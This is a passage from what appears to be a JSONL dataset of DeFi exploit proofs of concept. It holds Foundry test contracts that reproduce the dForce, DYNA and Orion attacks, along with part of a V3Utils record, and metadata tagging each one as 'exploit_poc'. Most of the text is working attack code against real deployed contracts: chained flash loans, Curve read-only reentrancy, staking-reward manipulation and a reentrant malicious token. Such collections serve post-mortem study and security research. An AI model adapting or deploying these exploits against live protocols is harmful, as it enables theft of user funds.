IDForce(0xC462fF1063172BAC6f6823A17ED181a0586f0FC8);\n IPriceOracleV2 PriceOracle = IPriceOracleV2(0x15962427A9795005c640A6BF7f99c2BA1531aD6d);\n IcurveYSwap curveYSwap = IcurveYSwap(0x2ce5Fd6f6F4a159987eac99FF5158B7B62189Acf);\n GMXVAULT GMXVault = GMXVAULT(0x489ee077994B6658eAfA855C308275EAd8097C4A);\n Borrower borrower;\n address victimAddress2 = 0x916792f7734089470de27297903BED8a4630b26D;\n uint256 balancerFlashloanAmount;\n uint256 aaveV3FlashloanAmount;\n uint256 UniV3FlashloanAmount;\n uint256 SLP1FlashloanAmount;\n uint256 SLP2FlashloanAmount;\n uint256 SLP3FlashloanAmount;\n uint256 ZLPFlashloanAmount;\n uint256 swapFlashloanAmount;\n uint256 nonce;\n\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n\n function setUp() public {\n cheats.createSelectFork(\"arbitrum\", 59_527_633);\n cheats.label(address(WETH), \"WETH\");\n cheats.label(address(USDC), \"USDC\");\n cheats.label(address(USX), \"USX\");\n cheats.label(address(WSTETH), \"WSTETH\");\n cheats.label(address(WSTETHCRV), \"WSTETHCRV\");\n cheats.label(address(WSTETHCRVGAUGE), \"WSTETHCRVGAUGE\");\n cheats.label(address(VWSTETHCRVGAUGE), \"VWSTETHCRVGAUGE\");\n cheats.label(address(balancer), \"balancer\");\n cheats.label(address(aaveV3), \"aaveV3\");\n cheats.label(address(Radiant), \"Radiant\");\n cheats.label(address(UniV3Flash), \"UniV3Flash\");\n cheats.label(address(SLP1), \"SLP1\");\n cheats.label(address(SLP2), \"SLP2\");\n cheats.label(address(SLP3), \"SLP3\");\n cheats.label(address(ZLP), \"ZLP\");\n cheats.label(address(swapFlashLoan), \"swapFlashLoan\");\n cheats.label(address(curvePool), \"curvePool\");\n cheats.label(address(cointroller), \"cointroller\");\n cheats.label(address(aArbWETH), \"aArbWETH\");\n cheats.label(address(rWETH), \"rWETH\");\n cheats.label(address(dForceContract), \"dForceContract\");\n cheats.label(address(PriceOracle), \"PriceOracle\");\n cheats.label(address(curveYSwap), \"curveYSwap\");\n cheats.label(address(GMXVault), \"GMXVault\");\n }\n\n function testExploit() public {\n borrower = new Borrower();\n payable(address(0x0)).transfer(address(this).balance);\n WSTETH.approve(address(curvePool), type(uint256).max);\n WSTETHCRV.approve(address(curvePool), type(uint256).max);\n balancerFlashloan();\n USX.approve(address(curveYSwap), type(uint256).max);\n curveYSwap.exchange_underlying(0, 1, 500_000 * 1e18, 0);\n emit log_named_decimal_uint(\n \"19.swap the USX token to USDC, and swap USDC to WETH, the USDC amount\",\n USDC.balanceOf(address(this)),\n USDC.decimals()\n );\n USDC.transfer(address(GMXVault), USDC.balanceOf(address(this)));\n GMXVault.swap(address(USDC), address(WETH), address(this));\n\n emit log_named_decimal_uint(\n \"20.Attacker WETH balance after exploit\", WETH.balanceOf(address(this)), WETH.decimals()\n );\n }\n // 1.balancerFlashloan\n\n function balancerFlashloan() internal {\n balancerFlashloanAmount = WETH.balanceOf(address(balancer));\n emit log_named_decimal_uint(\"1.balancer Flashloan WETH amount\", balancerFlashloanAmount, WETH.decimals());\n address[] memory tokens = new address[](1);\n tokens[0] = address(WETH);\n uint256[] memory amounts = new uint256[](1);\n amounts[0] = balancerFlashloanAmount;\n bytes memory userData = \"\";\n balancer.flashLoan(address(this), tokens, amounts, userData);\n }\n // 2.balancerFlashloan callback\n\n function receiveFlashLoan(\n address[] memory tokens,\n uint256[] memory amounts,\n uint256[] memory feeAmounts,\n bytes memory userData\n ) external {\n aaveV3Flashloan();\n WETH.transfer(address(balancer), balancerFlashloanAmount);\n }\n // 3.aaveV3Flashloan\n\n function aaveV3Flashloan() internal {\n aaveV3FlashloanAmount = WETH.balanceOf(aArbWETH);\n emit log_named_decimal_uint(\"2.aave Flashloan WETH amount\", aaveV3FlashloanAmount, WETH.decimals());\n address[] memory assets = new address[](1);\n assets[0] = address(WETH);\n uint256[] memory amounts = new uint256[](1);\n amounts[0] = aaveV3FlashloanAmount;\n uint256[] memory modes = new uint256[](1);\n modes[0] = 0;\n aaveV3.flashLoan(address(this), assets, amounts, modes, address(this), \"\", 0);\n }\n // 4.aaveV3Flashloan callback 6. RadiantFlashloan callback\n\n function executeOperation(\n address[] calldata assets,\n uint256[] calldata amounts,\n uint256[] calldata premiums,\n address initiator,\n bytes calldata params\n ) external returns (bool) {\n if (msg.sender == address(aaveV3)) {\n RadiantFlashloan();\n WETH.approve(address(aaveV3), type(uint256).max);\n return true;\n } else if (msg.sender == address(Radiant)) {\n UniSwapV3Flashloan();\n WETH.approve(address(Radiant), type(uint256).max);\n return true;\n }\n }\n // 5.RadiantFlashloan\n\n function RadiantFlashloan() internal {\n address[] memory assets = new address[](1);\n assets[0] = address(WETH);\n uint256[] memory amounts = new uint256[](1);\n amounts[0] = WETH.balanceOf(rWETH);\n uint256[] memory modes = new uint256[](1);\n modes[0] = 0;\n emit log_named_decimal_uint(\"3.Radiant Flashloan WETH amount\", amounts[0], WETH.decimals());\n Radiant.flashLoan(address(this), assets, amounts, modes, address(0), new bytes(1), 0);\n }\n // 7.UniSwapV3Flashloan\n\n function UniSwapV3Flashloan() internal {\n UniV3FlashloanAmount = WETH.balanceOf(address(UniV3Flash));\n emit log_named_decimal_uint(\"4.UniswapV3 Flashloan WETH amount\", UniV3FlashloanAmount, WETH.decimals());\n UniV3Flash.flash(address(this), UniV3FlashloanAmount, 0, new bytes(1));\n }\n // 8.uniswapV3Flash Callback\n\n function uniswapV3FlashCallback(uint256 amount0, uint256 amount1, bytes calldata data) external {\n SLP1Flashloan();\n WETH.transfer(address(UniV3Flash), UniV3FlashloanAmount * 1000 / 997 + 1000);\n }\n // 9.sushipair1Flashloan\n\n function SLP1Flashloan() internal {\n SLP1FlashloanAmount = WETH.balanceOf(address(SLP1)) - 1;\n emit log_named_decimal_uint(\"5.Sushi Flashloan WETH amount\", SLP1FlashloanAmount, WETH.decimals());\n SLP1.swap(0, SLP1FlashloanAmount, address(this), new bytes(1));\n }\n // 11.sushipair2Flashloan\n\n function SLP2Flashloan() internal {\n SLP2FlashloanAmount = WETH.balanceOf(address(SLP2)) - 1;\n emit log_named_decimal_uint(\"6.Sushi Flashloan WETH amount\", SLP2FlashloanAmount, WETH.decimals());\n SLP2.swap(SLP2FlashloanAmount, 0, address(this), new bytes(1));\n }\n // 13.sushipair3Flashloan\n\n function SLP3Flashloan() internal {\n SLP3FlashloanAmount = WETH.balanceOf(address(SLP3)) - 1;\n emit log_named_decimal_uint(\"7.Sushi Flashloan WETH amount\", SLP3FlashloanAmount, WETH.decimals());\n SLP3.swap(0, SLP3FlashloanAmount, address(this), new bytes(1));\n }\n // 10.sushipair1Flashloan callback, 12.sushipair2Flashloan callback, 14.sushipair3Flashloan callback\n\n function uniswapV2Call(address sender, uint256 amount0, uint256 amount1, bytes calldata data) external {\n if (msg.sender == address(SLP1)) {\n SLP2Flashloan();\n WETH.transfer(address(SLP1), SLP1FlashloanAmount * 1000 / 997 + 1000);\n } else if (msg.sender == address(SLP2)) {\n SLP3Flashloan();\n WETH.transfer(address(SLP2), SLP2FlashloanAmount * 1000 / 997 + 1000);\n } else if (msg.sender == address(SLP3)) {\n ZyberFlashloan();\n WETH.transfer(address(SLP3), SLP3FlashloanAmount * 1000 / 997 + 1000);\n }\n }\n // 15. ZyberFlashloan\n\n function ZyberFlashloan() internal {\n ZLPFlashloanAmount = WETH.balanceOf(address(ZLP)) - 1;\n emit log_named_decimal_uint(\"8.Zyber Flashloan WETH amount\", ZLPFlashloanAmount, WETH.decimals());\n ZLP.swap(ZLPFlashloanAmount, 0, address(this), new bytes(1));\n }\n // 16. ZyberFlashloan callback\n\n function ZyberCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) external {\n SwapFlashLoans();\n WETH.transfer(address(ZLP), ZLPFlashloanAmount * 10_000 / 9975 + 1000);\n }\n // 17. SwapFlashLoan\n\n function SwapFlashLoans() internal {\n swapFlashloanAmount = WETH.balanceOf(address(swapFlashLoan));\n emit log_named_decimal_uint(\"9.SwapFlashLoan Flashloan WETH amount\", swapFlashloanAmount, WETH.decimals());\n swapFlashLoan.flashLoan(address(this), address(WETH), swapFlashloanAmount, new bytes(1));\n }\n // 18. SwapFlashLoan callback\n\n function executeOperation(\n address pool,\n address token,\n uint256 amount,\n uint256 fee,\n bytes calldata params\n ) external payable {\n uint256 ETHBalance = WETH.balanceOf(address(this));\n WETH.withdraw(ETHBalance);\n console.log(\"--------------------------------------------------\");\n emit log_named_decimal_uint(\n \"10.SwapFlashLoan callback, add liquidity to curve, the ETH amount\", ETHBalance, WETH.decimals()\n );\n uint256 LPAmount = curvePool.add_liquidity{value: ETHBalance}([ETHBalance, 0], 0);\n USX.approve(address(dForceContract), type(uint256).max);\n USX.approve(address(VWSTETHCRVGAUGE), type(uint256).max);\n console.log(\"--------------------------------------------------\");\n emit log_named_decimal_uint(\n \"11.Transfer wstETHCRV token to exploiter's borrower, token amount\",\n 1_904_761_904_761_904_761_904,\n WSTETHCRV.decimals()\n );\n WSTETHCRV.transfer(address(borrower), 1_904_761_904_761_904_761_904);\n borrower.exec();\n uint256 burnAmount = 63_438_591_176_197_540_597_712;\n emit log_named_decimal_uint(\n \"14.Remove liquidity from curve, before reentrancy, the price of VWSTETHCRVGAUGE\",\n PriceOracle.getUnderlyingPrice(address(VWSTETHCRVGAUGE)),\n VWSTETHCRVGAUGE.decimals()\n );\n curvePool.remove_liquidity(burnAmount, [uint256(0), uint256(0)]); // curve read-only-reentrancy\n burnAmount = 2_924_339_222_027_299_635_899;\n curvePool.remove_liquidity(burnAmount, [uint256(0), uint256(0)]);\n curvePool.exchange(1, 0, WSTETH.balanceOf(address(this)), 0);\n address(WETH).call{value: address(this).balance}(abi.encodeWithSignature(\"deposit()\"));\n WETH.transfer(address(swapFlashLoan), amount + fee); // repay flashloan amount\n }\n\n fallback() external payable {\n if (nonce == 0 && msg.sender == address(curvePool)) {\n nonce++;\n emit log_named_decimal_uint(\n \"15.In reentrancy, the price of VWSTETHCRVGAUGE\",\n PriceOracle.getUnderlyingPrice(address(VWSTETHCRVGAUGE)),\n VWSTETHCRVGAUGE.decimals()\n );\n uint256 borrowAmount = dForceContract.borrowBalanceStored(address(borrower));\n uint256 Multiplier = cointroller.closeFactorMantissa();\n emit log_named_decimal_uint(\n \"16.liquidate the exploiter's borrower, the borrowAmount of exploiter\",\n borrowAmount,\n VWSTETHCRVGAUGE.decimals()\n );\n cointroller.liquidateCalculateSeizeTokens(\n address(dForceContract), address(VWSTETHCRVGAUGE), borrowAmount * Multiplier / 1e18\n );\n dForceContract.liquidateBorrow(address(borrower), 560_525_526_525_080_924_601_515, address(VWSTETHCRVGAUGE));\n borrowAmount = dForceContract.borrowBalanceStored(victimAddress2);\n emit log_named_decimal_uint(\n \"17.liquidate the victim's borrower, the borrowAmount of victim\",\n borrowAmount,\n VWSTETHCRVGAUGE.decimals()\n );\n console.log(\"--------------------------------------------------\");\n cointroller.liquidateCalculateSeizeTokens(\n address(dForceContract), address(VWSTETHCRVGAUGE), borrowAmount * Multiplier / 1e18\n );\n dForceContract.liquidateBorrow(victimAddress2, 300_037_034_111_437_845_493_368, address(VWSTETHCRVGAUGE));\n VWSTETHCRVGAUGE.redeem(address(this), VWSTETHCRVGAUGE.balanceOf(address(this)));\n emit log_named_decimal_uint(\n \"18.redeem vwstETHCRV-gauge to wstETHCRV-gauge and withdraw wstETHCRV, the token amount\",\n WSTETHCRVGAUGE.balanceOf(address(this)),\n WSTETHCRVGAUGE.decimals()\n );\n WSTETHCRVGAUGE.withdraw(WSTETHCRVGAUGE.balanceOf(address(this)));\n }\n }\n}\n\ncontract Borrower is Test {\n IERC20 WSTETHCRV = IERC20(0xDbcD16e622c95AcB2650b38eC799f76BFC557a0b);\n IERC20 WSTETHCRVGAUGE = IERC20(0x098EF55011B6B8c99845128114A9D9159777d697);\n IERC20 USX = IERC20(0x641441c631e2F909700d2f41FD87F0aA6A6b4EDb);\n IDForce dForceContract = IDForce(0xC462fF1063172BAC6f6823A17ED181a0586f0FC8);\n\n function exec() external {\n emit log_named_decimal_uint(\n \"12.deposit wstETHCRV to wstETHCRV-gauge, token amount\", 1_904_761_904_761_904_761_904, WSTETHCRV.decimals()\n );\n WSTETHCRV.approve(address(WSTETHCRVGAUGE), type(uint256).max);\n uint256 depositAmount = 1_904_761_904_761_904_761_904;\n address(WSTETHCRVGAUGE).call(abi.encodeWithSignature(\"deposit(uint256)\", depositAmount));\n WSTETHCRVGAUGE.approve(address(dForceContract), type(uint256).max);\n uint256 WSTETHCRVGAUGEAmount = WSTETHCRVGAUGE.balanceOf(address(this));\n uint256 borrowAmount = 2_080_000_000_000_000_000_000_000;\n (bool success,) = address(dForceContract).call(\n abi.encodeWithSelector(0x4381c41a, uint256(1), WSTETHCRVGAUGEAmount, borrowAmount)\n ); // get USX\n require(success);\n emit log_named_decimal_uint(\n \"13.deposit wstETHCRV-gauge to dForce, receive USX token, the token amount\",\n USX.balanceOf(address(this)),\n USX.decimals()\n );\n USX.transfer(msg.sender, USX.balanceOf(address(this)));\n console.log(\"--------------------------------------------------\");\n }\n}\n", "type": "exploit_poc", "protocol": "dForce", "date": "2023-02", "file_name": "dForce_exp.sol", "attack_vector": "flash_loan", "content_hash": "8eeccca9c1aa73b1", "collected_at": "2026-01-07T10:59:16.515564", "_source": "postmortems", "chain": "arbitrum", "block_number": 59527633, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": true, "has_attack_vector": true, "severity": "medium", "severity_raw": null, "category": "flash-loan", "exploit_code": "function testExploit() public {\n borrower = new Borrower();\n payable(address(0x0)).transfer(address(this).balance);\n WSTETH.approve(address(curvePool), type(uint256).max);\n WSTETHCRV.approve(address(curvePool), type(uint256).max);\n balancerFlashloan();\n USX.approve(address(curveYSwap), type(uint256).max);\n curveYSwap.exchange_underlying(0, 1, 500_000 * 1e18, 0);\n emit log_named_decimal_uint(\n \"19.swap the USX token to USDC, and swap USDC to WETH, the USDC amount\",\n USDC.balanceOf(address(this)),\n USDC.decimals()\n );\n USDC.transfer(address(GMXVault), USDC.balanceOf(address(this)));\n GMXVault.swap(address(USDC), address(WETH), address(this));\n\n emit log_named_decimal_uint(\n \"20.Attacker WETH balance after exploit\", WETH.balanceOf(address(this)), WETH.decimals()\n );\n }\n // 1.balancerFlashloan", "has_exploit_code": true, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 6, "quality_estimate": "medium", "title": "dForce Exploit (2023-02)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @Analysis\n// https://twitter.com/BlockSecTeam/status/1628319536117153794\n// https://twitter.com/BeosinAlert/status/1628301635834486784\n// @TX\n// https://bscscan.com/tx/0x06bbe093d9b84783b8ca92abab5eb8590cb2321285660f9b2a529d665d3f18e4\n// https://bscscan.com/tx/0xc09678fec49c643a30fc8e4dec36d0507dae7e9123c270e1f073d335deab6cf0\n\ninterface IStakingDYNA {\n function deposit(\n uint256 _stakeAmount\n ) external;\n function redeem(\n uint256 _redeemAmount\n ) external;\n}\n\ninterface IDYNA is IERC20 {\n function _setMaxSoldAmount(\n uint256 maxvalue\n ) external;\n function _maxSoldAmount() external view returns (uint256);\n}\n\ncontract StakingReward {\n IERC20 DYNA = IERC20(0x5c0d0111ffc638802c9EfCcF55934D5C63aB3f79);\n IStakingDYNA StakingDYNA = IStakingDYNA(0xa7B5eabC3Ee82c585f5F4ccC26b81c3Bd62Ff3a9);\n address Owner;\n\n constructor(\n address owner\n ) {\n Owner = owner;\n DYNA.approve(address(StakingDYNA), type(uint256).max);\n }\n\n function deposit(\n uint256 amount\n ) external {\n StakingDYNA.deposit(amount);\n }\n\n function withdraw(\n uint256 amount\n ) external {\n StakingDYNA.redeem(amount);\n DYNA.transfer(Owner, DYNA.balanceOf(address(this)));\n }\n}\n\ncontract ContractTest is Test {\n IDYNA DYNA = IDYNA(0x5c0d0111ffc638802c9EfCcF55934D5C63aB3f79);\n IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);\n IStakingDYNA StakingDYNA = IStakingDYNA(0xa7B5eabC3Ee82c585f5F4ccC26b81c3Bd62Ff3a9);\n Uni_Router_V2 Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);\n Uni_Pair_V2 Pair = Uni_Pair_V2(0xb6148c6fA6Ebdd6e22eF5150c5C3ceE78b24a3a0);\n StakingReward stakingReward;\n StakingReward[] StakingRewardList;\n uint256 flashLoanAmount;\n address DYNAOwner = 0xA8Ff6C807654c5B2B55f188e9a7Ce31C8d192353;\n\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n\n function setUp() public {\n cheats.createSelectFork(\"bsc\", 25_879_486);\n cheats.label(address(DYNA), \"DYNA\");\n cheats.label(address(WBNB), \"WBNB\");\n cheats.label(address(Router), \"Router\");\n cheats.label(address(Pair), \"Pair\");\n cheats.label(address(StakingDYNA), \"StakingDYNA\");\n }\n\n function testExploit() external {\n StakingRewardFactory();\n DYNA.transfer(address(Pair), 1); //\n DYNA.transfer(tx.origin, 1e17);\n //\n cheats.startPrank(tx.origin);\n // Bypass Sold Amount Limit\n DYNA.transfer(address(Pair), 1); //\n cheats.stopPrank();\n //\n cheats.warp(block.timestamp + 7 * 24 * 60 * 60);\n // deposit a week ago\n flashLoanAmount = DYNA.balanceOf(address(Pair)) - 3;\n Pair.swap(flashLoanAmount, 0, address(this), new bytes(1));\n DYNAToWBNB();\n\n emit log_named_decimal_uint(\"Attacker WBNB balance after exploit\", WBNB.balanceOf(address(this)), 18);\n }\n\n function StakingRewardFactory() internal {\n deal(address(DYNA), address(this), 1001 * 1e18);\n uint256 preStakingRewardAmount = 1000 * 1e18 / 200;\n for (uint256 i; i < 200; ++i) {\n stakingReward = new StakingReward(address(this));\n DYNA.transfer(address(stakingReward), preStakingRewardAmount);\n stakingReward.deposit(preStakingRewardAmount);\n StakingRewardList.push(stakingReward);\n }\n }\n\n function pancakeCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) external {\n uint256 listLength = StakingRewardList.length;\n for (uint256 i; i < listLength; ++i) {\n uint256 amount = DYNA.balanceOf(address(this));\n DYNA.transfer(address(StakingRewardList[i]), amount);\n StakingRewardList[i].deposit(amount);\n StakingRewardList[i].withdraw(amount);\n }\n DYNA.transfer(address(Pair), flashLoanAmount * 100_000 / 9975 / 9 + 1000);\n }\n\n function DYNAToWBNB() internal {\n DYNA.transfer(tx.origin, DYNA.balanceOf(address(this)));\n cheats.startPrank(tx.origin);\n DYNA.approve(address(Router), type(uint256).max);\n address[] memory path = new address[](2);\n path[0] = address(DYNA);\n path[1] = address(WBNB);\n Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n DYNA.balanceOf(tx.origin), 0, path, address(this), block.timestamp\n );\n cheats.stopPrank();\n }\n}\n", "type": "exploit_poc", "protocol": "DYNA", "date": "2023-02", "file_name": "DYNA_exp.sol", "attack_vector": "flash_loan", "content_hash": "975825a075331b43", "collected_at": "2026-01-07T10:59:16.515659", "_source": "postmortems", "chain": "bsc", "block_number": 25879486, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": true, "has_attack_vector": true, "severity": "medium", "severity_raw": null, "category": "flash-loan", "exploit_code": "", "has_exploit_code": false, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 3.3, "quality_estimate": "low", "title": "DYNA Exploit (2023-02)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity 0.8.17;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @Analsysi\n// https://twitter.com/peckshield/status/1621337925228306433\n// https://twitter.com/BlockSecTeam/status/1621263393054420992\n// https://www.numencyber.com/analysis-of-orionprotocol-reentrancy-attack-with-poc/\n// @TX\n// https://etherscan.io/tx/0xa6f63fcb6bec8818864d96a5b1bb19e8bd85ee37b2cc916412e720988440b2aa ETH\n// https://bscscan.com/tx/0xfb153c572e304093023b4f9694ef39135b6ed5b2515453173e81ec02df2e2104 BSC\n\n// similar events\n// https://github.com/SunWeb3Sec/DeFiHackLabs#20221223---defrost---reentrancy\n// https://github.com/SunWeb3Sec/DeFiHackLabs#20221110---dfxfinance---reentrancy\n\ninterface OrionPoolV2Factory {\n function createPair(address tokenA, address tokenB) external;\n function getPair(address tokenA, address tokenB) external view returns (address);\n}\n\ninterface ORION {\n function swapThroughOrionPool(\n uint112 amount_spend,\n uint112 amount_receive,\n address[] calldata path,\n bool is_exact_spend\n ) external;\n function depositAsset(address assetAddress, uint112 amount) external;\n function getBalance(address assetAddress, address user) external view returns (int192);\n function withdraw(address assetAddress, uint112 amount) external;\n}\n\ncontract ContractTest is Test {\n IERC20 USDT = IERC20(0xdAC17F958D2ee523a2206206994597C13D831ec7);\n IERC20 USDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);\n IERC20 WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);\n ORION Orion = ORION(0xb5599f568D3f3e6113B286d010d2BCa40A7745AA);\n OrionPoolV2Factory Factory = OrionPoolV2Factory(0x5FA0060FcfEa35B31F7A5f6025F0fF399b98Edf1);\n Uni_Router_V2 Router = Uni_Router_V2(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);\n Uni_Router_V3 RouterV3 = Uni_Router_V3(0xE592427A0AEce92De3Edee1F18E0157C05861564);\n Uni_Pair_V2 Pair = Uni_Pair_V2(0x0d4a11d5EEaaC28EC3F61d100daF4d40471f1852);\n uint256 flashAmount;\n IERC20 ATK;\n\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n\n function setUp() public {\n cheats.createSelectFork(\"mainnet\", 16_542_147);\n vm.label(address(USDT), \"USDT\");\n vm.label(address(USDC), \"USDC\");\n vm.label(address(Orion), \"ORION\");\n vm.label(address(Factory), \"Factory\");\n vm.label(address(ATK), \"ATK\");\n vm.label(address(RouterV3), \"RouterV3\");\n vm.label(address(Pair), \"Pair\");\n }\n\n function testExploit() public {\n deal(address(USDT), address(this), 1e6); // set the USDT balance of exploiter is 1\n deal(address(USDC), address(this), 1e6); // set the USDC balance of exploiter is 1\n ATK = new ATKToken(address(this));\n addLiquidity();\n\n address(USDT).call(abi.encodeWithSignature(\"approve(address,uint256)\", address(Orion), type(uint256).max));\n USDC.approve(address(Orion), type(uint256).max);\n Orion.depositAsset(address(USDC), 500_000);\n\n flashAmount = USDT.balanceOf(address(Orion));\n Pair.swap(0, flashAmount, address(this), new bytes(1));\n USDTToWETH();\n\n emit log_named_decimal_uint(\n \"Attacker WETH balance after exploit\", WETH.balanceOf(address(this)), WETH.decimals()\n );\n }\n\n function uniswapV2Call(address sender, uint256 amount0, uint256 amount1, bytes calldata data) external {\n address[] memory path = new address[](3);\n path[0] = address(USDC);\n path[1] = address(ATK);\n path[2] = address(USDT);\n Orion.swapThroughOrionPool(10_000, 0, path, true);\n Orion.withdraw(address(USDT), uint112(USDT.balanceOf(address(Orion)) - 1));\n address(USDT).call(\n abi.encodeWithSignature(\"transfer(address,uint256)\", address(Pair), flashAmount * 1000 / 997 + 1000)\n );\n }\n\n function addLiquidity() internal {\n Factory.createPair(address(ATK), address(USDT));\n address Pair1 = Factory.getPair(address(ATK), address(USDT));\n Factory.createPair(address(ATK), address(USDC));\n address Pair2 = Factory.getPair(address(ATK), address(USDC));\n address(USDT).call(abi.encodeWithSignature(\"transfer(address,uint256)\", address(Pair1), 5 * 1e5));\n ATK.transfer(address(Pair1), 50 * 1e18);\n USDC.transfer(address(Pair2), 5 * 1e5);\n ATK.transfer(address(Pair2), 50 * 1e18);\n Uni_Pair_V2(Pair1).mint(address(this));\n Uni_Pair_V2(Pair2).mint(address(this));\n }\n\n function deposit() external {\n Orion.depositAsset(address(USDT), uint112(USDT.balanceOf(address(this))));\n }\n\n function USDTToWETH() internal {\n address(USDT).call(abi.encodeWithSignature(\"approve(address,uint256)\", address(RouterV3), type(uint256).max));\n Uni_Router_V3.ExactInputSingleParams memory _Params = Uni_Router_V3.ExactInputSingleParams({\n tokenIn: address(USDT),\n tokenOut: address(WETH),\n fee: 3000,\n recipient: address(this),\n deadline: block.timestamp,\n amountIn: USDT.balanceOf(address(this)),\n amountOutMinimum: 0,\n sqrtPriceLimitX96: 0\n });\n RouterV3.exactInputSingle(_Params);\n }\n}\n\ncontract ATKToken is IERC20 {\n uint256 public totalSupply;\n mapping(address => uint256) public balanceOf;\n mapping(address => mapping(address => uint256)) public allowance;\n string public name = \"ATKToken\";\n string public symbol = \"ATK\";\n uint8 public decimals = 18;\n address public exp;\n IERC20 USDT = IERC20(0xdAC17F958D2ee523a2206206994597C13D831ec7);\n ORION Orion = ORION(0xb5599f568D3f3e6113B286d010d2BCa40A7745AA);\n\n constructor(\n address exploiter\n ) {\n mint(100 * 1e18);\n exp = exploiter;\n }\n\n function transfer(address recipient, uint256 amount) external returns (bool) {\n balanceOf[msg.sender] -= amount;\n balanceOf[recipient] += amount;\n if (USDT.balanceOf(exp) > 1e6) {\n exp.call(abi.encodeWithSignature(\"deposit()\"));\n }\n emit Transfer(msg.sender, recipient, amount);\n return true;\n }\n\n function approve(address spender, uint256 amount) external returns (bool) {\n allowance[msg.sender][spender] = amount;\n emit Approval(msg.sender, spender, amount);\n return true;\n }\n\n function transferFrom(address sender, address recipient, uint256 amount) external returns (bool) {\n allowance[sender][msg.sender] -= amount;\n balanceOf[sender] -= amount;\n balanceOf[recipient] += amount;\n emit Transfer(sender, recipient, amount);\n return true;\n }\n\n function mint(\n uint256 amount\n ) public {\n balanceOf[msg.sender] += amount;\n totalSupply += amount;\n emit Transfer(address(0), msg.sender, amount);\n }\n\n function burn(\n uint256 amount\n ) external {\n balanceOf[msg.sender] -= amount;\n totalSupply -= amount;\n emit Transfer(msg.sender, address(0), amount);\n }\n\n function withdraw(\n uint256 wad\n ) external {}\n function deposit(\n uint256 wad\n ) external returns (bool) {}\n function owner() external view returns (address) {}\n}\n", "type": "exploit_poc", "protocol": "Orion", "date": "2023-02", "file_name": "Orion_exp.sol", "attack_vector": "reentrancy", "content_hash": "4a140cf34f463f0f", "collected_at": "2026-01-07T10:59:16.515714", "_source": "postmortems", "chain": "ethereum", "block_number": 16542147, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": false, "has_attack_vector": true, "severity": "medium", "severity_raw": null, "category": "reentrancy", "exploit_code": "function testExploit() public {\n deal(address(USDT), address(this), 1e6); // set the USDT balance of exploiter is 1\n deal(address(USDC), address(this), 1e6); // set the USDC balance of exploiter is 1\n ATK = new ATKToken(address(this));\n addLiquidity();\n\n address(USDT).call(abi.encodeWithSignature(\"approve(address,uint256)\", address(Orion), type(uint256).max));\n USDC.approve(address(Orion), type(uint256).max);\n Orion.depositAsset(address(USDC), 500_000);\n\n flashAmount = USDT.balanceOf(address(Orion));\n Pair.swap(0, flashAmount, address(this), new bytes(1));\n USDTToWETH();\n\n emit log_named_decimal_uint(\n \"Attacker WETH balance after exploit\", WETH.balanceOf(address(this)), WETH.decimals()\n );\n }", "has_exploit_code": true, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 6, "quality_estimate": "medium", "title": "Orion Exploit (2023-02)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @Analysis\n// https://mirror.xyz/revertfinance.eth/3sdpQ3v9vEKiOjaHXUi3TdEfhleAXXlAEWeODrRHJtU\n// @TX\n// https://etherscan.io/tx/0xdaccbc437cb07427394704fbcc8366589ffccf974ec6524f3483844b043f31d5\n\ninterface V3Utils {\n struct SwapParams {\n address tokenIn;\n address tokenOut;\n uint256 amountIn;\n uint256 minAmountOut;\n address recipient; // recipient of tokenOut and leftover tokenIn (if any leftover)\n bytes swapData;\n bool unwrap; // if tokenIn or tokenOut is WETH - unwrap\n }\n\n function swap(\n SwapParams calldata params\n ) external;\n}\n\ncontract ContractTest is Test {\n V3Utils utils = V3Utils(0x531110418d8591C92e9cBBFC722Db8FFb604FAFD);\n IERC20 USDC = 